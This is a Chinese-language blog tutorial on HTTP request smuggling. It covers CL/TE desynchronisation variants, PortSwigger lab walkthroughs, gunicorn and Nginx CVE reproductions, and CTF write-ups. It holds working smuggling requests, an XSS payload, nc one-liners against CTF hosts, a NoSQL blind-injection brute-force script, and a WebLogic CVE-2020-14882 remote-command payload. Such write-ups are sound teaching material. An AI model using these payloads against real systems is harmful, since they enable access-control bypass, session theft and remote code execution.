初探HTTP Request Smuggling

quan9i 2022-11-09 09:48:00

前言

ISCC2022[让我康康]这道赛题在初次接触时令我记忆犹新,之前由于学习知识其他也一直没有对HTTP请求走私进行相关学习,最近学习过后简单总结如下,希望能对正在学习HTTP请求走私的师傅有所帮助。

前置知识

Content-Length

Content-Length指的是HTTP消息长度, 它使用十进制的数字表示了消息的长度, 服务器通过它来得知后续要读取消息的长度。Content-Length首部指出报文中实体主体的字节大小. 这个大小是包含了所有内容编码的,比如,对文本文件进行了gzip压缩,那它的大小就是压缩后的大小而非之前的。

Keep-alive

这个的话就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,其作用是告诉服务器接受完信息后,不要关闭TCP连接,后续对相同目标服务器的请求,一律采用这个TCP连接。

pipline

其含义是新建一个TCP链接,有这个之后,客户端无需等待服务端的响应,就可以发送多次请求,单说可能不太好理解,可以结合下面这个图来进行理解

Transfer-Encoding

它的含义是传输编码。
在最新的 HTTP 规范里,只定义了一种传输编码:分块编码(chunked)
当使用分块编码的时候,报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的CRLF(\r\n),也不包括分块数据结尾的CRLF。最后一个分块长度值必须为0,对应的分块数据没有内容,表示实体结束。
在这里插入图片描述

HTTP请求走私

下方示例的靶场均来自于portswig靶场,链接如下
https://portswigger.net/web-security/all-labs

漏洞成因

一些网站为了优化用户体验,提高访问速度,采用了CDN加速服务,而最简单的加速方式是在原站点加上一个具有缓存功能的反向代理服务器,这个时候用户可以直接从代理服务器处取得资源,图示如下(图片来源于https://paper.seebug.org/1048)
在这里插入图片描述
这个时候如果客户端传入一个恶意的请求数据,前端服务器(代理服务器)可能认为没问题,就传给了后端,而后端服务器(原站)在理解时,只认为一部分是正常请求,而另一部分请求就是走私的请求,他会对第二个请求造成影响,此时也就造成了HTTP走私攻击。

漏洞危害

HTTP请求走私的危害有以下几个方面

1、它使攻击者可以绕过安全控制访问到本该被禁止访问的界面,可能会导致信息泄露
2、在特定情况下可以构造XSS语句,对其他用户和网页端造成一定影响
3、它可以实现未经授权访问敏感数据并直接危害其他应用程序用户。
4、在特定情况下可以窃取用户请求,获取到用户的cookie等敏感信息

漏洞利用

CL!=0

现有条件如下

代理服务器允许GET请求携带请求体,而原站不允许GET请求携带请求体

此时如果我们传入携带请求体的GET请求,就会出现一种情况,就是此时它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

我们构造请求如下

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

此时代理服务器收到请求,认为这个是正常的,传给后端服务器,而后端服务器不对这个Content-Length进行处理,此时因为存在pipline,他就会认为是两个单独的请求。
第一个

GET / HTTP/1.1\r\n
Host: example.com\r\n

第二个

GET /secret HTTP/1.1\r\n
Host: example.com\r\n

此时就出现了请求走私。

CL-CL

按照RFC7230中的规定,当服务器遇见一个请求中包含两个Content-Length时,应该返回400错误,但一些服务器可能不会严格执行该规范,此时就可能出现请求走私。

假设现有场景如下

前端代理服务器和后端服务器在收到一个包含两个Content-Length的请求时,皆不返回400,且此时前端代理服务器采用的是第一个Content-Length,后端服务器采用的是第二个Content-Length

此时我们构造请求如下

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

前端代理服务器:接收的是Content-Length: 8\r\n,他检查的时候,看的是六七行(第五行是POST传数据需要空一行,不计算其长度),12345+\n+a=8,此时正好八个字符,所以他认为这个请求没有问题,传向后端服务器。

后端服务器:接收的是Content-Length: 7\r\n,他检查的时候,看的同样也是五六七行,此时因为出现了8个字符,而他只接收7个,所以a还停留在缓冲区,后端服务器会认为他是下一个请求的一部分。

若此时有一个请求

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

基于前端服务器和后端服务器是重用TCP连接的,此时a就会和请求相结合,组成一个新的请求

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

此时客户就会收到aGET request method not found的错误回显,这就实现了一次请求走私攻击,并对正常客户造成了影响。

CL-TE

所指情况如下

前端采用的是Content-Length
后端采用的是Transfer-Encoding

现有请求如下

POST / HTTP/1.1\r\n
Host: example.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

前端服务器:接收的是Content-Length: 6\r\n,看代码的7-9行,0+\n+\n+a=6,此时前端认为没有问题,就会传向后端服务器(第六行是POST传数据需要空出一行,所以不计算其长度)

后端服务器:接收的是Transfer-Encoding: chunked\r\n,他在处理第七行(结束标志)时,值是0,他会认为是接收内容结束,此时其后的a还停留在缓冲区。

若此时有一请求

POST / HTTP/1.1\r\n
Host: example.com\r\n

CL-CL相似,此时a会与这一请求相结合变成一个新的请求

aPOST / HTTP/1.1\r\n
Host: example.com\r\n

此时客户端就会收到Unrecognized method aPOST的错误回显信息,这个时候就造成了请求走私攻击。

靶场演示

靶场链接https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
打开环境后抓包
在这里插入图片描述
接下来右键修改请求方法为POST
在这里插入图片描述
然后添加我们添加恶意代码

Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

在这里插入图片描述
此时第一次发包,回显正常,这是因为它是正常CL阶段,读取6个字符,0+\n+\n+a=6,所以回显正常,接下来再发一次包
在这里插入图片描述
此时由于TE读取到0就终止了,未读取GG还在缓冲区,又来了一个请求,G就与这个请求相组合,变成了GPOST请求方式,此时就会报错,HTTP请求走私成功。
在这里插入图片描述

TE-CL

所指情况如下

前端代理服务器采用的是Transfer-Encoding
后端服务器采用的是Content-Length

现有请求如下

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

前端服务器:接收的是Transfer-Encoding: chunked\r\n,当读取到第九行(第五块)时,读取到0前端服务器认为接收内容结束,没有什么问题,然后传给后端服务器

后端服务器:接收的是Content-Length: 4\r\n,此时因为接收长度限定为4,12+\n=4,所以它在读取完五六行后就不再读取。

此时后面还有一些代码,即

aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

此时再来一个请求,他就会报错,客户端收到Unrecognized method aPOST类似的错误回显信息,请求走私攻击成功。

靶场演示

靶场地址如下
https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

开启环境后抓包,抓包后修改请求方式
在这里插入图片描述
接下来添加我们的恶意代码

Content-Length: 4
Transfer-Encoding: chunked
\r\n
12\r\n
GPOST / HTTP/1.1
\r\n
0\r\n
\r\n

在这里插入图片描述
第一次发包后回显正常,这个是因为TE在读取到0后休止,认为之前的数据也没什么问题,此时就会传入给后端服务器,后端服务器接收4个长度,这里的话也就是12+\n=4,后面的因为存在pipline,所以会被认为是另一个独立的请求
在这里插入图片描述
此时再来一个新的请求,就会报错,请求走私攻击成功
在这里插入图片描述

TE-TE

所指情况如下

前端代理服务器和后端服务器所采用的都是Transfer-Encoding,但是在容错性上表现不同,例如当我们添加一个Transfer-encoding时,引起混淆,此时可能其中一个服务器会不采用Transfer-Encoding,此时就会导致请求走私

现有请求如下

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

前端代理服务器:接收的是Transfer-Encoding: chunked\r\n,此时读取到最后0处,认为请求没有问题,将请求传输个后端服务器

后端服务器:此时因为存在Transfer-encodingTransfer-Encoding,对服务器起到了混淆作用,服务器不知道该接收哪个,此时可能会接收Content-length: 4\r\n,然后检测第七行,5c+\n=4,认为结果没问题,然后不再读取(第六行不算长度,因为第六行是POST传数据需要空一行)

此时还剩下几行代码

aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

因为存在pipline,所以被认为是一个单独的请求,此时就会给客户端回显Unrecognized method aPOST错误信息,请求走私攻击成功。

靶场演示

靶场地址如下
https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header
题目描述

本实验涉及前端和后端服务器,这两个服务器以不同的方式处理重复的 HTTP 请求标头。前端服务器拒绝不使用 GET 或 POST 方法的请求。

题目要求

解决实验室,偷偷向后端服务器发送一个请求,让后端服务器处理的下一个请求出现使用方法GPOST。

进入靶场后抓包,修改请求方法为POST方式
在这里插入图片描述
发送到重放模块,接下来添加我们的恶意代码

Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
\r\n
x=1\r\n
0\r\n
\r\n

在这里插入图片描述

此时第一个访问正常,这个时候说明前端代理服务器采用的是TE,正常接收数据而后传送给后端服务器,而后端因为TE被混淆,且有CL,所以采用了CL,而此时57+\n=4,所以后面的GPOST未进行读取,这个时候后面就会被当做单独请求来执行,当再一次请求时,就会将错误返回出来,成功执行HTTP请求走私。

常见攻击面

绕过前端安全控制

这里用一道靶场题目来对其进行简单讲解。

题目描述

本实验涉及前端和后端服务器,前端服务器不支持分块编码。有一个管理面板/admin,但前端服务器阻止访问它。

题目要求

要解决实验室问题,请向访问管理面板并删除用户的后端服务器发送请求carlos。

进入靶场后,尝试直接访问他的admin界面
在这里插入图片描述
发现此时存在防护,是不允许访问此界面的。
此时我们抓包,修改请求方式,接下来添加我们的恶意数据,尝试利用请求走私去访问admin界面

Content-Length: 30\r\n
Transfer-Encoding: chunked\r\n
\r\n  
0\r\n
\r\n
GET /admin HTTP 1.1\r\n
\r\n
\r\n

这里简单提一下他的CT长度计算

Content-Length: 30\r\n
Transfer-Encoding: chunked\r\n
\r\n   //POST发包需要有一行换行,这个不作为长度计算
0\r\n //0加上换行符\n,长度为3
\r\n  //只有一个换行符,长度为2
GET /admin HTTP 1.1\r\n //前面字符为19,后面还有换行符,所以一共长度为19+2=21
\r\n //只有一个换行符,长度为2
\r\n //只有一个换行符,长度为2
//所以CT长度就是3+2+21+2+2=30

此时还有一点,就是初始的Connection,是close,我们这里需要修改为keep-alive,这样才可以实现重用TCP链接,使得请求走私攻击成功
在这里插入图片描述
此时我们发现新的回显

 Admin interface only available to local users

大概意思就是只有本地用户才可以登录,那我们就添加一个Host: 127.0.0.1来伪装一下本地用户
在这里插入图片描述
此时发现删除用户的接口,那我们就尝试来构造一下

Connection: keep-alive
Content-Length: 70\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /admin/delete?username=carlos HTTP/1.1\r\n
Host: localhost\r\n
\r\n
\r\n

在这里插入图片描述
请求走私攻击成功,成功删除了一个用户

请求走私引发反射型XSS

单个的UA处的xss并没有什么危害,但当我们将它与请求走私相结合时,就可以导致其他用户访问任意界面出现反射型xss,对客户端和网页有一定影响,接下来尝试一下

所用靶场
https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
题目描述

这个场景包含前端和后端服务器,并且前端服务器不支持Chunked-Encoding。应用程序在User-Agent这个标头含有反射型XSS漏洞。

题目要求

目标是让用户收到一个alert(1)的弹框。

进入靶场后抓包,
看一下UA处,先发包,观察一下他的包裹方式,既然题目提示这里存在XSS,那么我们就先观察一下他是如何闭合的
在这里插入图片描述
可以发现结尾是">,若存在XSS,我们通过构造恶意语句应该是可以触发XSS的,我们先尝试一下修改User-Agent,看是否能够触发xss
在这里插入图片描述
成功触发XSS,因为前端不支持chunked编码方式,那么我们这里就可以尝试一下去构造CL-TE种类的请求走私,构造XSS,恶意代码如下

Content-Length: 154\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /post?postId=5 HTTP/1.1\r\n
User-Agent: a"/><script>alert(1)</script>\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 5\r\n
\r\n
x=1\r\n
\r\n

在这里插入图片描述
第一次访问正常,接下来用户去访问界面
在这里插入图片描述
成功触发了XSS,这个过程是如何实现的呢
前端代理服务器:接收的是CL,然后检测内容没有什么问题,传输给后端服务器

后端服务器:接收的是TE,接收到0后停止接收,而下面的还没被接收,被认为是另一个独立的请求,当此时有一个用户去访问界面时,这个请求就会发出,触发XSS

请求走私实现Web缓存投毒

学习之前我们首先需要了解一下什么是Web缓存

WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。

在这里插入图片描述
如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷。

这个正常情况下的话无疑是很好的,但如果被黑客利用,这个就会造成一些不好的影响,比如第一个人改了一些包,发送到后端,导致后端返回一些恶意数据,xss这种等等,同时由于缓存机制,后续的其他用户访问此界面时会加载这个恶意缓存,此时就造成了Web缓存投毒。

接下来从题目中进行进一步理解。

题目描述

本实验涉及前端和后端服务器,前端服务器不支持分块编码。前端服务器被配置为缓存某些响应。

题目要求

为了解决实验室问题,请执行导致缓存中毒的请求走私攻击,以便随后对 JavaScript 文件的请求接收到对漏洞利用服务器的重定向。中毒的缓存应该发出警报document.cookie

(经本地测试,这里弹cookie只有弹窗,但无内容,可能是因为cookie过长,所以这里采用弹1来演示缓存投毒)
进入环境后抓包,我们首先来验证一下是否存在请求走私漏洞,本题的描述是前端不支持分块编码,那这里的话应该就是CL-TE种类的请求走私漏洞,我们构造一个恶意代码试下能否实现请求走私

Content-Length: 135\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /post/next?postId=3 HTTP/1.1\r\n
Host: quan9i.top\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 10\r\n
\r\n
x=1\r\n
\r\n

在这里插入图片描述
第一次访问正常,再次访问
在这里插入图片描述
302,并跳转到了我们构造的URL中,说明存在CL-TE请求走私,接下来找一个利用点(在靶场中存在的js文件就可以),然后我们构造一个恶意代码,让下一个请求指向一个xss语句,再将这个利用点发出,这个时候就可以触发我们的xss语句
在这里插入图片描述
在环境中我们发现了tracking.js这个文件,那么我们就可以让他重定向到xss语句,这样访问靶场的话就会触发,这个时候问题又来了,xss语句怎么搞呢,我们其实只需要让他定向到一个有恶意xss语句的界面就可以,这个时候我们看见靶场里提供了一个工具
在这里插入图片描述
在这里插入图片描述
我们修改路径为post,内容为alert(1),这时候我们利用CL-TE请求走私就可以将下一请求指向这个POST路径,那结合刚刚的js文件,就可以触发xss
在这里插入图片描述
这个时候访问正常,接下来正常情况就是访问到我们构造的恶意xss了,此时我们get发包,将js语句发出去
在这里插入图片描述
成功重定向,可以看到这里指向的是我们构造的恶意xss语句,访问一下也可以看出来
在这里插入图片描述
此时去访问靶场,就可以触发xss,请求走私投毒成功
在这里插入图片描述
在这里插入图片描述

走私攻击实例

gunicorn 20.0.4 请求走私漏洞

在复现漏洞之前,先简述一下其漏洞成因。

在文件/gunicorn/http/message.py中存在函数set_body_reader,这个函数通过请求头来确定请求正文的大小,如果存在请求头中存在Sec-Websocket-Key1,则指定这里的请求内容长度为8。
如果 gunicorn 位于代理后面并使用持久连接与其通信(HTTP 1.1 中的默认设置),就会造成这个请求走私漏洞。
在这里插入图片描述
现有如下请求发送到从Internet发送到Proxy

GET / HTTP/1.1
Host: example.com
Content-Length: 48
Sec-Websocket-Key1: x

xxxxxxxxGET /other HTTP/1.1
Host: example.com

Proxy代理代理看到Content-Length: 48,认为数据没有问题,然后将内容传输给后端gunicorn处,当请求到达gunicorn处时,他看到Sec-Websocket-Key1时,只会读取八个字符,也就是后面的xxxxxxxx,此时这部分代码还在缓冲区

GET /other HTTP/1.1
Host: example.com

由于proxy代理和 gunicorn 使用 HTTP-keep-alive 通信,gunicorn 将继续通过与下一个请求相同的 TCP 连接读取这部分数据。 因此,这部分数据发生了请求走私(与CL-TE类请求走私漏洞类似)。

环境搭建

环境搭建的话,有师傅已经搭建好了,然后这里需要简单说明一下。

注:这个师傅搭建的9999端口是haproxy代理,5000端口是gunicorn业务
其实也就是说,9999端口是前端代理服务器,5000端口是后端服务器(原站)

具体环境搭建代码如下

1、git clone https://github.com/cckuailong/gunicorn_request_smuggling
2、cd gunicorn_request_smuggling
3、docker-compose up --build

在这里插入图片描述
这个时候环境就搭建好了。

gunicorn正常的响应:

$ curl http://localhost:5000/
INDEX
$ curl http://localhost:5000/forbidden
FORBIDDEN
$ curl http://localhost:5000/admin
ADMIN

在这里插入图片描述
haproxy代理正常的响应

$ curl http://localhost:9999/
INDEX
$ curl http://localhost:9999/forbidden
FORBIDDEN
$ curl http://localhost:9999/admin
FORBIDDEN

在这里插入图片描述
接下来我们尝试一下通过请求走私访问gunicornadmin文件

Poc如下

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 68\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 9999 

在这里插入图片描述
可以看到成功访问到了禁止访问的admin界面并获取到了内容。
对这个Poc进行一下拆分,他是这个样子的

GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 68\r\n
Sec-Websocket-Key1: x\r\n
\r\n
\r\n
xxxxxxxxGET /admin HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 35\r\n
\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n

这个的话如同我们上面所说,类似于CL-TEgunicorn认为这是两个请求

GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 68\r\n
Sec-Websocket-Key1: x\r\n
\r\n
\r\n
xxxxxxxx

GET /admin HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 35\r\n
\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n

这个时候就导致了请求走私漏洞,访问到了本该拦截的/admin请求

Nginx error_page 请求走私漏洞(CVE-2019-20372)

Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。

漏洞的成因是Nginx1.17.7 及之前版本具有error_page 配置,它不使用 error_page 进行 302 重定向。它仅使用error_page 使用命名位置,如

error_page 404 /404.php;

此时攻击者能够在 NGINX 由负载均衡器前端的环境中读取未经授权的网页,就造成了请求走私攻击。
这里可以参考Vow大师傅给出的存在漏洞的配置

server {
 listen 80;
 server_name localhost;
 error_page 401 http://example.org;
 location / {
 return 401;
 }
}
server {
 listen 80;
 server_name notlocalhost;
 location /_hidden/index.html {
 return 200 'This should be hidden!';
 }
}

此时我们构造如下请求

GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

服务器就会认为这是两个请求。

得到的回显如下

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!

请求走私攻击成功。

Nginx<=1.18.0请求走私漏洞(CVE-2020-12440)

Nginx<=1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒,劫持凭证或绕过安全保护。

漏洞简述
他这里存在CL!=0请求走私漏洞,我们构造恶意代码可同时发送两个请求并收到回显,我们构造请求如下

GET /test.html HTTP/1.1
Host: localhost
Content-Length: 2

GET /poc.html HTTP/1.1
Host: localhost
Content-Length: 15

注:test.html中的内容为< html>< h1>Test Page!< /h1>< /html>
poc.html中的内容为NGINX PoC File

在这里插入图片描述
请求走私成功,成功访问到了poc.html

CTF实战

[RoarCTF 2019]Easy Calc

靶机地址
https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc
访问界面发现是一个计算器,输入数字和字符可以计算出结果
在这里插入图片描述
看眼源代码
在这里插入图片描述
发现一个文件,访问一下
在这里插入图片描述
发现这里ban了一些字符,但经过测试其实还ban了所有字母这些(属于是前端WAF),那么想要绕过的话这里就可以尝试HTTP请求走私,当我们构造请求走私,让前端报错的时候,这时候就可以直接绕过前端的waf,现在尝试一下CL-CL种类绕过。

抓包,修改请求方法为POST方法
再添加一个Content-Length头,使得前端报错,同时认为这是两个请求,图示如下
在这里插入图片描述
而后我们在disable_functions中看到很多函数都被禁用了
在这里插入图片描述
那么我们这里就用一些其他命令执行的函数来进行绕过读取文件目录
scandir读取根目录,虽然不能直接读取.,但是我们这里可以用chr()函数+ascii码值来进行绕过,构造payload

num=var_dump(scandir(chr(47)))

在这里插入图片描述
接下来用show_source读取根目录的flagg文件

num=show_source((chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

在这里插入图片描述
然后这个的话是一种方法,我们也可以利用CL-TE方式让前端报错,进而绕过WAF实现RCE,图示如下
在这里插入图片描述
TE-TE亦可
在这里插入图片描述

[GKCTF 2021]hackme

题目地址如下
https://buuoj.cn/challenges#[GKCTF%202021]hackme
题目提示如下

1、你可能需要unicode
2、注意server和其配置文件

在这里插入图片描述
进入环境后发现是登录框,先不急着去尝试注入,看看源代码有没有什么提示
在这里插入图片描述
提示nosql,说明这里很大可能是nosql注入,师傅们如果想了解nosql可以简单参考下这篇文章https://blog.szfszf.top/tech/nosql
抓包发现这里是json格式
在这里插入图片描述
我们用永真式尝试绕过

{"username":{"$ne":1},"password":{"$ne":1}}

在这里插入图片描述
被检测出来了,想起来提示中说unicode编码,我们这里尝试编码一下看是否能绕过
在这里插入图片描述
在这里插入图片描述
这里的话就发现了两种状态

{"msg":"登录失败"}
{"msg":"登录了,但没完全登录"}

因此这里可以借助regexp盲注来获取正确密码,脚本如下所示

import requests
import string

password = ''
url = 'http://node4.buuoj.cn:29402/login.php'

#盲注当知道了用户名后就可以用正则$regex来爆破密码
while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            #r = requests.post(url=url, data=post_payload)
            if '但没完全登录' in r.content.decode():
                password += c
                print(password)

最终得到正确密码42276606202db06ad1f29ab6b4a1307f
登录在这里插入图片描述
发现一个读取文件的文件框,抓包尝试一下任意文件读取
在这里插入图片描述
尝试读取flag
在这里插入图片描述
提示flag在内网,此时想到题目的提示注意server和其配置文件,查看一下info.php看是否有可利用信息
在这里插入图片描述
看到使用的是nginx,接下来查看nginx配置文件/usr/local/nginx/conf/nginx.conf
在这里插入图片描述
发现存在weblogic服务
在这里插入图片描述
同时我们发现nginx的版本号是1.17.6Nginx 1.17.7之前版本中 error_page可能存在安全漏洞,我们可以借此来查看weblogic版本号,构造请求如下

GET /a HTTP/1.1
Host: node4.buuoj.cn:28946
Content-Length: 66

GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic

这里我用bp打并未得到正确回显,但是我看到一位大师傅用socket脚本打出来了,脚本如下

import socket

sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 28946))
payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
    print(response.decode())
    try:
        response = sSocket.recv(2147483647)
    except:
        break
sSocket.close()

在这里插入图片描述
得到weblogic版本号12.2.1.4.0,而这个版本存在漏洞(CVE-2020-14882),借此漏洞即可获取flag,这里借用一位大师傅的socket脚本

import socket

sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 28946))
payload = b'HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'
#payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
    print(response.decode())
    try:
        response = sSocket.recv(2147483647)
    except:
        break
sSocket.close()

脚本运行完即可获取flag,而这个是预期解,针对这题还有另一个解法,可以参考这位大师傅的这篇文章https://laotun.top/2021/09/27/gkctf

ISCC2022[让我康康]

提示框给了提示是Try flag,访问flag后回显
在这里插入图片描述
访问此界面
在这里插入图片描述
回显403,服务器发送请求看一下
在这里插入图片描述
发现服务是gunicorn 20.0.4,这个是存在请求走私漏洞的,因此我们这里就可以构造请求去访问本被禁止访问的fl4g文件
构造请求如下

echo -en "POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

对此部分进行拆分,就是

POST / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 76\r\n
nSec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxPOST /fl4g HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 55\r\n
\r\n
POST / HTTP/1.1\r\n
Host: 127.0.0.1:80\r\n
\r\n

此时后端服务器就会认为这是两个请求,即

POST / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 76\r\n
nSec-Websocket-Key1: x\r\n
\r\n
xxxxxxxx

POST /fl4g HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 55\r\n
\r\n
POST / HTTP/1.1\r\n
Host: 127.0.0.1:80\r\n
\r\n

按理说就可以访问到f14g,但此时回显需要本地访问,因此我们添加secr3t_ip:127.0.0.1\r\n,伪造本地ip

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

请求拆分后如下

GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 90\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxGET /fl4g HTTP/1.1\r\n
Host: localhost\r\n
secr3t_ip:127.0.0.1\r\n
Content-Length: 55\r\n
\r\n
GET / HTTP/1.1\r\n
Host: 127.0.0.1:80\r\n
\r\n

在这里插入图片描述
成功获取到flag

后言

发现还有两道很有意思的请求走私题,那就是Bytectf2021 A-ginx1/2,但是这个题涉及了多个知识点,我是个菜狗,目前还在学习中,故暂时不能作为CTF例题讲解,师傅们如果有兴趣的话可以看这两篇文章,大师傅们都很厉害,写的也非常好。
https://tttang.com/archive/1396/
https://impakho.com/post/bytectf-2021-aginx-writeup

最后,本人只是一个小白,在学习请求走私过程中也可能会出现问题,同时Nginx的请求走私漏洞在学习中并没有复现出来,我参考了其他大师傅的文章后进行了简单总结,没有自己进行测试,所以这个也可能出现问题,还请各位大师傅多多指教。

参考文献

https://websec.readthedocs.io/zh/latest/vuln/httpSmuggling.html
https://paper.seebug.org/1048/#52
